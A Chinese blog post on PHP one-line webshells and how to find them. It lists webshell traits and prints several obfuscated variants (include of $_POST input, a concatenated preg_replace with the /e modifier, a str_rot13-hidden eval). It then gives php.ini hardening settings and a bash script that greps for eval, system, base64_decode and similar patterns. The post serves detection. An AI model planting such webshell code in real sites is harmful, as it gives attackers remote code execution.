php查杀_PHP一句话木马及查杀
常見的木馬基本上有如下特征
1.接收外部變量
常見如:$_GET,$_POST
更加隱蔽的$_FILES,$_REQUEST…
2.執行函數
獲取數據后還需執行它
常見如:eval,assert,preg_replace
隱藏變種:
include($_POST[‘a’]);
$hh = “p”.”r”.”e”.”g”.”_”.”r”.”e”.”p”.”l”.”a”.”c”.”e”;
$hh(“/[discuz]/e”,$_POST[‘h’],”Access”);
@preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($b4dboy)’, ‘add’);
使用urldecode,gzinflate,base64_decode等加密函數
3.寫入文件
獲取更多的權限
如:copy,file_get_contents,exec
一般的建議是打開safe_mode 或使用disable_functions 等來提升安全性;
可能有些程序無法正常運行,基本的安全設置
php.ini中
expose_php = OFF
register_globals = Off
display_errors = Off
cgi.fix_pathinfo=0
magic_quotes_gpc = On
allow_url_fopen = Off
allow_url_include = Off
配置open_basedir
查找木馬腳本
查找隱藏特征碼及入口可以找出大部分的木馬.
#!/bin/bash
findpath=./
logfile=findtrojan.log
echo -e $(date +%Y-%m-%d_%H:%M:%S)” start\r” >>$logfile
echo -e ‘============changetime list==========\r\n’ >> ${logfile}
find ${findpath} -name “*.php” -ctime -3 -type f -exec ls -l {} \; >> ${logfile}
echo -e ‘============nouser file list==========\r\n’ >> ${logfile}
find ${findpath} -nouser -nogroup -type f -exec ls -l {} \; >> ${logfile}
echo -e ‘============php one word trojan ==========\r\n’ >> ${logfile}
find ${findpath} -name “*.php” -exec egrep -I -i -C1 -H ‘exec\(|eval\(|assert\(|system\(|passthru\(|shell_exec\(|escapeshellcmd\(|pcntl_exec\(|gzuncompress\(|gzinflate\(|unserialize\(|base64_decode\(|file_get_contents\(|urldecode\(|str_rot13\(|\$_GET|\$_POST|\$_REQUEST|\$_FILES|\$GLOBALS’ {} \; >> ${logfile}
#使用使用-l 代替-C1 -H 可以只打印文件名
echo -e $(date +%Y-%m-%d_%H:%M:%S)” end\r” >>$logfile
more $logfile
總結
以上是生活随笔為你收集整理的php查杀_PHP一句话木马及查杀的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C8800刷机
- 下一篇: 通过文件名得到进程句柄并发消息